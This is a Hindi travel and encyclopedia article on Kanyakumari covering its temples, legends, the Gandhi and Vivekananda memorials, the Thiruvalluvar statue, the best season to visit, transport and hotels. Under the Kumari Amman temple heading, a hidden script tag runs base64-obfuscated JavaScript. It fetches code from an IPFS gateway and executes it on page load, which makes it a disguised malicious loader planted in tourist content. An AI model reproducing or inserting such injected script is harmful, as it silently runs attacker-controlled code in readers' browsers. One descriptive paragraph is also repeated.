अन्य जानकारी इस पवित्र स्थान को 'एलेक्जेंड्रिया ऑफ़ ईस्ट' की उपमा से विदेशी सैलानियों ने नवाजा है।अंग्रेज़ों ने इस स्थल को 'केप कोमोरिन' कहा था।
बाहरी कड़ियाँ आधिकारिक वेबसाइट
अद्यतन‎

कन्याकुमारी तमिलनाडु राज्य का एक शहर है। भारत के मस्तक पर मुकुट के समान सजे हिमालय के धवल शिखरों को निकट से देखने के बाद हर सैलानी के मन में भारतभूमि के अंतिम छोर को देखने की इच्छा भी उभरने लगती है। भारत भूमि के सबसे दक्षिण बिंदु पर स्थित कन्याकुमारी केवल एक नगर ही नहीं बल्कि देशी विदेशी सैलानियों का एक बड़ा पर्यटन स्थल भी है। देश के मानचित्र के अंतिम छोर पर होने के कारण अधिकांश लोग इसे देख लेने की इच्छा रखते हैं।

अद्वितीय शहर

कन्याकुमारी दक्षिण भारत के महान शासकों चोल, चेर, पांड्य के अधीन रहा है। यहां के स्मारकों पर इन शासकों की छाप स्पष्ट दिखाई देती है। यह स्थान एक खाड़ी, एक सागर और एक महासागर का मिलन बिंदु है। अपार जलराशि से घिरे इस स्थल के पूर्व में बंगाल की खाड़ी, पश्चिम में अरब सागर एवं दक्षिण में हिंद महासागर है। यहाँ आकर हर व्यक्ति को प्रकृति के अनंत स्वरूप के दर्शन होते हैं। सागर-त्रय के संगम की इस दिव्यभूमि पर मां भगवती देवी कुमारी के रूप में विद्यमान हैं। इस पवित्र स्थान को 'एलेक्जेंड्रिया ऑफ़ ईस्ट' की उपमा से विदेशी सैलानियों ने नवाजा है। यहाँ पहुंच कर लगता है मानो पूर्व में सभ्यता की शुरुआत यहीं से हुई होगी। अंग्रेज़ों ने इस स्थल को 'केप कोमोरिन' कहा था। तिरुअनंतपुरम के बेहद निकट होने के कारण सामान्यत: समझा जाता है कि यह शहर केरल राज्य में स्थित है, लेकिन कन्याकुमारी वास्तव में तमिलनाडु राज्य का एक ख़ास पर्यटन स्थल है।

प्रसिद्ध दर्शनीय स्थल

कुमारी अम्मन मंदिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कुमारी अम्मन मंदिर समुद्र तट पर स्थित है। पूर्वाभिमुख इस मंदिर का मुख्य द्वार केवल विशेष अवसरों पर ही खुलता है, इसलिए श्रद्धालुओं को उत्तरी द्वार से प्रवेश करना होता है। इस द्वार का एक छोटा-सा गोपुरम है। क़रीब 10 फुट ऊंचे परकोटे से घिरे वर्तमान मंदिर का निर्माण पांड्य राजाओं के काल में हुआ था।

कन्याकुमारी मंदिर, कन्याकुमारी

देवी कुमारी पांड्य राजाओं की अधिष्ठात्री देवी थीं। पौराणिक आख्यानों के अनुसार शक्ति की देवी वाणासुर का अंत करने के लिए अवतरित हुई थी। वाणासुर के अत्याचारों से जब धर्म का नाश होने लगा तो देवगण भगवान विष्णु की शरण में पहुंचे। उन्होंने देवताओं को बताया कि उस असुर का अंत केवल देवी पराशक्ति कर सकती हैं। भगवान विष्णु को यह बात विदित थी कि वाणासुर ने इतने वरदान पा लिए हैं कि उसे कोई नहीं मार सकता। लेकिन उसने यह वरदान नहीं मांगा कि एक कुंवारी कन्या उसका अंत नहीं कर सकती। देवताओं ने अपने तप से पराशक्ति को प्रसन्न किया और वाणासुर से मुक्ति दिलाने का वचन भी ले लिया। तब देवी ने एक कन्या के रूप में अवतार लिया। कन्या युवावस्था को प्राप्त हुई तो सुचिन्द्रम में उपस्थित शिव से उनका विवाह होना निश्चित हुआ क्योंकि देवी तो पार्वती का ही रूप थीं। लेकिन नारद जी के गुप्त प्रयासों से उनका विवाह संपन्न न हो सका तथा उन्होंने आजीवन कुंवारी रहने का व्रत ले लिया। नारद जी को ज्ञात था कि देवी के अवतार का उद्देश्य वाणासुर को समाप्त करना है। यह उद्देश्य वे एक कुंवारी कन्या के रूप में ही पूरा कर सकेंगी। फिर वह समय भी आ गया। वाणासुर ने जब देवी कुंवारी के सौंदर्य के विषय में सुना तो वह उनके समक्ष विवाह का प्रस्ताव ले कर पहुंचा। देवी क्रोधित हो गई तो वाणासुर ने उन्हें युद्ध के लिए ललकारा। उस समय उन्होंने कन्या कुंवारी के रूप में अपने चक्र आयुध से वाणासुर का अंत किया। तब देवताओं ने समुद्र तट पर पराशक्ति के कन्याकुमारी स्वरूप का मंदिर स्थापित किया। इसी आधार पर यह स्थान भी कन्याकुमारी कहलाया तथा मंदिर को कुमारी अम्मन यानी कुमारी देवी का मंदिर कहा जाने लगा।

माना जाता है कि चैतन्य महाप्रभु कुमारी अम्मन मंदिर में जलयात्रा पर्व पर आए थे। यहाँ मंदिर में पुरुषों को ऊपरी वस्त्र यानी शर्ट एवं बनियान उतार कर जाना होता है। सागर तट से कुछ दूरी पर मध्य में दो चट्टानें नज़र आती हैं। दक्षिण पूर्व में स्थित इन चट्टानों में से एक चट्टान पर विशाल प्रतिमा पर्यटकों का ध्यान आकर्षित करती है। वह प्रतिमा प्रसिद्ध तमिल संत कवि तिरुवल्लुवर की है। वह आधुनिक मूर्तिशिल्प 5000 शिल्पकारों की मेहनत से बन कर तैयार हुआ था। इसकी ऊंचाई 133 फुट है, जो कि तिरुवल्लुवर द्वारा रचित काव्य ग्रंथ तिरुवकुरल के 133 अध्यायों का प्रतीक है।

महात्मा गाँधी स्मारक, कन्याकुमारी

महात्मा गाँधी स्मारक

तीन सागरों का संगम स्थल होने के कारण हमारी धरती का यह छोर एक पवित्र स्थान है। इसलिए राष्ट्रपिता महात्मा गांधी के अस्थि अवशेषों का एक अंश समुद्र संगम पर भी प्रवाहित किया गया था। समुद्र तट पर जिस जगह उनका अस्थि कलश लोगों के दर्शनार्थ रखा गया था, वहां आज एक सुंदर स्मारक है, जिसे गांधी मंडप कहते हैं। मंडप में गांधी जी के संदेश एवं उनके जीवन से संबंधित महत्त्वपूर्ण घटनाओं के चित्र प्रदर्शित हैं। स्मारक के गुंबद के नीचे वह स्थान एक पीठ के रूप में है, जहां कलश रखा गया था। यह शिल्प कौशल का कमाल है कि प्रतिवर्ष गांधी जी के जन्मदिवस 2 अक्टूबर को दोपहर के समय छत के छिद्र से सूर्य की किरणें सीधी इस पीठ पर पड़ती हैं। गांधी मंडप के निकट ही मणि मंडप स्थित है। यह तमिलनाडु के भूतपूर्व मुख्यमंत्री कामराज का स्मारक है। कन्याकुमारी का सेंट मेरी चर्च भी एक दर्शनीय स्थान है। इसकी ऊंची इमारत विवेकानंद मेमोरियल से आते हुए बोट से भी नज़र आती है।

विवेकानन्द रॉक मेमोरियल

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समुद्र में उभरी दूसरी चट्टान पर दूर से ही एक मंडप नज़र आता है। यह मंडप दरअसल विवेकानंद रॉक मेमोरियल है। 1892 में स्वामी विवेकानंद कन्याकुमारी आए थे। एक दिन वे तैर कर इस विशाल शिला पर पहुंच गए। इस निर्जन स्थान पर साधना के बाद उन्हें जीवन का लक्ष्य एवं लक्ष्य प्राप्ति हेतु मार्ग दर्शन प्राप्त हुआ। विवेकानंद के उस अनुभव का लाभ पूरे विश्व को हुआ, क्योंकि इसके कुछ समय बाद ही वे शिकागो सम्मेलन में भाग लेने गए थे। इस सम्मेलन में भाग लेकर उन्होंने भारत का नाम ऊंचा किया था। उनके अमर संदेशों को साकार रूप देने के लिए 1970 में उस विशाल शिला पर एक भव्य स्मृति भवन का निर्माण किया गया। समुद्र की लहरों से घिरी इस शिला तक पहुंचना भी एक अलग अनुभव है। स्मारक भवन का मुख्य द्वार अत्यंत सुंदर है। इसका वास्तुशिल्प अजंता-एलोरा की गुफाओं के प्रस्तर शिल्पों से लिया गया लगता है। लाल पत्थर से निर्मित स्मारक पर 70 फुट ऊंचा गुंबद है। भवन के अंदर चार फुट से ऊंचे प्लेटफॉर्म पर परिव्राजक संत स्वामी विवेकानंद की प्रभावशाली मूर्ति है। यह मूर्ति कांसे की बनी है जिसकी ऊंचाई साढ़े आठ फुट है। यह मूर्ति इतनी प्रभावशाली है कि इसमें स्वामी जी का व्यक्तित्व एकदम सजीव प्रतीत होता है।

तिरुवल्लुवर प्रतिमा

थिरुवेल्लुवर प्रतिमा, कन्याकुमारी

सागर तट से कुछ दूरी पर मध्य में दो चट्टानें नज़र आती हैं। दक्षिण पूर्व में स्थित इन चट्टानों में से एक चट्टान पर विशाल प्रतिमा पर्यटकों का ध्यान आकर्षित करती है। वह प्रतिमा प्रसिद्ध तमिल संत कवि तिरुवल्लुवर की है। वह आधुनिक मूर्तिशिल्प 5000 शिल्पकारों की मेहनत से बन कर तैयार हुआ था। इसकी ऊंचाई 133 फुट है, जो कि तिरुवल्लुवर द्वारा रचित काव्य ग्रंथ तिरुवकुरल के 133 अध्यायों का प्रतीक है।

नागराज मंदिर

सुचिंद्रम से 8 किलोमीटर दूरी पर नागरकोविल शहर है। यह शहर नागराज मंदिर के लिए प्रसिद्ध है। इस मंदिर का वैशिष्ट्य देखते ही बनता है। देखने में यह मंदिर चीन की वास्तुशैली के बौद्ध विहार जैसा प्रतीत होता है। मंदिर में नागराज की मूर्ति आधारतल में अवस्थित है। यहाँ नाग देवता के साथ भगवान विष्णु एवं भगवान शिव भी उपस्थित हैं। मंदिर के स्तंभों पर जैन तीर्थकरों की प्रतिमा उकेरी नज़र आती है। नागरकोविल एक छोटा-सा व्यावसायिक शहर है। इसलिए यहाँ हर प्रकार की सुविधाएं उपलब्ध हैं।

सुचिन्द्रम

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कन्याकुमारी के निकट सुचिन्द्रम नामक एक तीर्थ है, जहां धार्मिक आस्था श्रद्धालुओं को खींच लाती है। इस स्थान पर भव्य स्थानुमलयन मंदिर है। यह मंदिर ब्रह्मा, विष्णु एवं महेश की त्रिमूर्ति को समर्पित है।

सुचिन्द्रम तीर्थ, कन्याकुमारी

यह त्रिमूर्ति वहां एक लिंग के रूप में विराजमान है। मंदिर का निर्माण 9वीं शताब्दी में हुआ माना जाता है। उस काल के कुछ शिलालेख मंदिर में मौजूद हैं। 17वीं शताब्दी में इस मंदिर को नया रूप दिया गया था। इस मंदिर में भगवान विष्णु की एक अष्टधातु की प्रतिमा एवं पवनपुत्र हनुमान की 18 फुट ऊंची प्रतिमा विशेष रूप से दर्शनीय है। मंदिर का सप्तसोपान गोपुरम भी भक्तों को प्रभावित करता है। मंदिर के निकट ही एक सरोवर है। जिसके मध्य एक मंडप है। सुचिन्द्रम कन्याकुमारी से मात्र 13 किमी दूर है। यह रास्ता नारियल के कुंचों से भरा है।

सामान्य जानकारी

यहाँ तमिल एवं मलयालम भाषा बोली जाती है। लेकिन पर्यटन स्थल होने के कारण हिन्दी एवं अंग्रेज़ी जानने वाले लोग भी मिल जाते हैं। यहाँ के दर्शनीय स्थल पैदल ही देखे जा सकते हैं। बस स्टैंड एवं रेलवे स्टेशन बाज़ार और होटलों से अधिक दूर नहीं है।

कब जाएँ

यह एक समुद्र तटीय शहर है इसलिए मानसून का यहाँ काफ़ी प्रभाव रहता है। इसलिए जून मध्य से सितंबर मध्य यहाँ घूमने के लिए उपयुक्त नहीं है। शेष हर मौसम में यहाँ आ सकते हैं।

कैसे जाएँ

रेल मार्ग-

कन्याकुमारी रेल मार्ग द्वारा जम्मू, दिल्ली, मुंबई, चेन्नई, मदुरै, तिरुअनंतपुरम, एरनाकुलम से जुड़ा है। दिल्ली से यह यात्रा 60 घंटे, जम्मूतवी से 74 घंटे, मुंबई से 48 घंटे एवं तिरुअनंतपुरम से ढाई घंटे की है।

बस मार्ग-

तिरुअनंतपुरम, चेन्नई, मदुरै, रामेश्वरम आदि शहरों से कन्याकुमारी के लिए नियमित बस सेवा उपलब्ध है।

वायु मार्ग-

कन्याकुमारी का निकटतम हवाई अड्डा तिरुअनंतपुरम में है। वहां के लिए दिल्ली, मुंबई, कोलकाता, चेन्नई से सीधी उड़ाने हैं।

प्रमुख स्थानों से दूरी

कन्याकुमारी रेलवे स्टेशन

====कहाँ ठहरें होटल तमिलनाडु, केरल गेस्ट हाउस, होटल समुद्र, होटल शिंगार इंटरनेशनल, होटल केप रेसीडेंसी, होटल सरवना, शंकर गेस्ट हाउस, विवेकानंद पुरम।


वीथिका


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